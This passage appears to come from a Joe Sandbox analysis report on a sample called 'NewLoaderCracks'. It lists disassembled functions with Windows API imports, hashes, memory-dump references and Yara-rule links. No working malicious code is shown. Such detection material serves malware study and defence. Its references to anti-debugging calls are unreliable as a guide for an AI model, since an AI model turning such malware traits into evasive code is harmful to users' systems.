Instruction Fuzzy Hash: 76C26C72E092288FDB25CE28DD457E9BBB5FB84305F1549EAD80DE7240E774AE818F50

Function 005427E8 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005427F1
_strlen.LIBCMT ref: 00542D7F

Part of subcall function 0055137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0054B652,00000000,?,?,?,00010408), ref: 00551396

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00542EE0

Strings

CMT, xrefs: 00542F13

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 724a0d94273fa04b8f4025a4432d9fc0c0c8369b3d6330957ce8a465cbfb8533
Instruction ID: a512db0d29cd267926676c169283a67c87f28f0e0cd39d659193ee39266b40af
Opcode Fuzzy Hash: 724a0d94273fa04b8f4025a4432d9fc0c0c8369b3d6330957ce8a465cbfb8533
Instruction Fuzzy Hash: 8262E2715042558FDF28DF28C8996EA3FE1BF94308F45457DFC9A8B282DB70A989CB50

Function 0056866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00568767
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00568771
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0056877E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f0dbfa9da2966379eef7b546816640d11a0d7671eb5779f8e447850b379decc7
Instruction ID: 0f776e3ca74dbabdf0c7d52073e11482e2e8521d913079e7c6b0fc25e45f4253
Opcode Fuzzy Hash: f0dbfa9da2966379eef7b546816640d11a0d7671eb5779f8e447850b379decc7
Instruction Fuzzy Hash: B931D4759012299BCB21DF24D889B9CBBB8BF58311F5042EAE81CA7250EB309F859F45

Function 0056AAA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 0056AC3B

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 9aae9c10c81aba64955d1f9451e668b7857cbda7da38173fb79d553a52a8c997
Instruction ID: 723691953929af3879c01a9e9d000b4ba1dbd5647a7a5cd608dc0bed53a94e7c
Opcode Fuzzy Hash: 9aae9c10c81aba64955d1f9451e668b7857cbda7da38173fb79d553a52a8c997
Instruction Fuzzy Hash: 89310571800249AFDB249E79CC89EFB7FBEEB85314F0401A9F519A7251EA309D84CF60

Function 0056CB60 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction ID: 4f00ef0c4d303f612621bf9eee3b6a8cefe1939a767b4c6c2deb9021347819f2
Opcode Fuzzy Hash: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction Fuzzy Hash: 34020B71E012199BDF14CFA9C8806ADFFB5FF88314F25816AD959E7384D731AE418B90

Function 0055A63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0055A662
GetNumberFormatW.KERNEL32(00000400,00000000,?,0057E600,?,?), ref: 0055A6B1

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: da5e186be4ca97fdb3e3855f919f2003b94621830d8506d1a84d1fc02737c9d6
Instruction ID: a5a613cd3d9fa10faf44002c3b79b2b2fa339c062a6dece8a9e36b734a6eb0f8
Opcode Fuzzy Hash: da5e186be4ca97fdb3e3855f919f2003b94621830d8506d1a84d1fc02737c9d6
Instruction Fuzzy Hash: C7015E36510309BEDB10DF64EC06F9B7BBCFF29710F504462BA08A7150D7709A58E7A5

Function 00546EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0055117C,?,00000200), ref: 00546EC9
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00546EEA

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 15923d6f1c7eacef820051c86578bebfb080f006769fc68f8444d1196e2d447b
Instruction ID: 673634276e5101bdc778f7365a4baadc772a54bbf6d4e22caa5661127f3e73f7
Opcode Fuzzy Hash: 15923d6f1c7eacef820051c86578bebfb080f006769fc68f8444d1196e2d447b
Instruction Fuzzy Hash: 06D0C7353C4303BFEB110A74DC09F677F94B766B56F108554B356D90D0D5709069B616

Function 00571194 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0057118F,?,?,00000008,?,?,00570E2F,00000000), ref: 005713C1

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 6c6251dd502c5668785d37dfa228f58e4fcc2e7c7e2567bd4f3a0cbc3bbf5fed
Instruction ID: e896bd21375e9666c1f18235f59399cbcdac21b19462134fafc9b7351fbba97c
Opcode Fuzzy Hash: 6c6251dd502c5668785d37dfa228f58e4fcc2e7c7e2567bd4f3a0cbc3bbf5fed
Instruction Fuzzy Hash: 88B15735210A088FDB15CF2CD48AB657FA1FF05364F25C658E899CF2A2C335E981DB48

Function 0054407E Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

gj, xrefs: 005440C1

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 79526e06094dedc202bcd65121b4318111e026f3c93e55a2aa2a76ccc54924ed
Instruction ID: 6434f71a612d7732ee881eb825a139d2c6f828381d0c6da29ab4b30593b21b67
Opcode Fuzzy Hash: 79526e06094dedc202bcd65121b4318111e026f3c93e55a2aa2a76ccc54924ed
Instruction Fuzzy Hash: 9FF1D3B1A083418FC348CF2AD880A5AFBE1BFCC208F15892EF598D7711E634E9459F56

Function 0054ACF5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 0054AD1A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 6f5032f21b12ae2f7711a43ed6564c61bda40fe920937c44ae96b54b86743ddf
Instruction ID: e75d109c3e23d13b96f346de4697a170b4adb802d0b26680382e0e7b20d18ba1
Opcode Fuzzy Hash: 6f5032f21b12ae2f7711a43ed6564c61bda40fe920937c44ae96b54b86743ddf
Instruction Fuzzy Hash: 27F06DB0D0020C8BC768CF18EC466E977B5F768315F205295DE2853394D370AD88AF51

Function 0055F063 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F070,0055EAC5), ref: 0055F068

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b31a536fef107b35edde3027e74257f6ed666e0a01a066e16048476633318c3c
Instruction ID: d46941bee358ddac13dca7a5fc33cf57c3445a1b611e194c3da6dde80595319c
Opcode Fuzzy Hash: b31a536fef107b35edde3027e74257f6ed666e0a01a066e16048476633318c3c
Instruction Fuzzy Hash:

Function 0056B710 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0056B710

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 7217e341c4902f95d9abd5dbe9920ff1b487f47a9ff1f31c08d3c62c39928f47
Instruction ID: b03c4a6b8e4604321a68c875a0906b0ee2b9e7e0c2bface78e63f37d264ef4c7
Opcode Fuzzy Hash: 7217e341c4902f95d9abd5dbe9920ff1b487f47a9ff1f31c08d3c62c39928f47
Instruction Fuzzy Hash: E5A002745015418BD7408F75690D209379966555D174581555509C6560E6244554BF05

Function 00555C77 Relevance: .8, Instructions: 800COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6e4fef8a49dcc930715721b7d4fffbd12b6467634e9eef11ded152ea66fbae
Instruction ID: 3cbb65dcdafb25204cd5054702b331a929d3ca11ba696137fbb7c94be3e5ff8b
Opcode Fuzzy Hash: 8a6e4fef8a49dcc930715721b7d4fffbd12b6467634e9eef11ded152ea66fbae
Instruction Fuzzy Hash: 8962E571604B859FCB25CF28C8A06B9BFE1BF95305F44896EDC9A8B746D630A949CB10

Function 005570BF Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 575a8806441ce9a72c04ae9113137d22797e0c306676329538b0a0bf3ae15e30
Instruction ID: de73573ae6785c48e401fda6bb3f5ae815abbe0133061317b46159102e54aa39
Opcode Fuzzy Hash: 575a8806441ce9a72c04ae9113137d22797e0c306676329538b0a0bf3ae15e30
Instruction Fuzzy Hash: CC620570608B4A9FC719CF28D8A05B9BFE1FB59305F14866EDC9687742D730EA59CB80

Function 0054ED14 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5448180e84c52624f7729a892eb382d9b2428a7fa06f80140d36ae3f2e7eaf5
Instruction ID: d0985ac4aedd735a9c06497ab33059140201f5670d1c436b0cf7e85bdf038827
Opcode Fuzzy Hash: d5448180e84c52624f7729a892eb382d9b2428a7fa06f80140d36ae3f2e7eaf5
Instruction Fuzzy Hash: B4524AB26087018FC718CF19C891A6AF7E1FFCC304F498A2DE98597255D734EA59CB86

Function 00556A7B Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28f0cb39348040b2be93a15e21e597b47aa29d319de74c418163c5d9ac9e48b8
Instruction ID: 067ea3a30843504ba96e05a1b9f855e921e25d10fcabca45cf69034ac6948901
Opcode Fuzzy Hash: 28f0cb39348040b2be93a15e21e597b47aa29d319de74c418163c5d9ac9e48b8
Instruction Fuzzy Hash: 6512E5B17047468BC728CF28C8E46B9BBE0FF54309F50892ED997C7A81D774A899CB45

Function 0054BE13 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24fd448b100bee47127208fde133beb5ee682876965660d95c41571591afb645
Instruction ID: b71981972d85f1173ec7e7c9c421e0870d7a8f928a4d0f3a0bd6542270b23827
Opcode Fuzzy Hash: 24fd448b100bee47127208fde133beb5ee682876965660d95c41571591afb645
Instruction Fuzzy Hash: D2F1797160A3018FC758CF29C4889AEBFF5FFC9318F148A2EF59997252D630E9058B42

Function 00560B43 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 3f0dff6c7022823182d7dc071f0ec24891756778cfce70b473f84f8d3bc58278
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: BFC181762151A30ADF2D4639857403FFFA1BAA27B131A275DD4B3CB1D4FE20DA64DA20

Function 00560F78 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: b668021f434ae4d3de296c719d4c3f28dfaef53c99b5e3fcba28d1208afe2aa4
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: E9C1A0762095930ADF2D463AC53403FBFA1AAA27B131E176DD4B3CB1C5FE20D664DA20

Function 0056070E Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
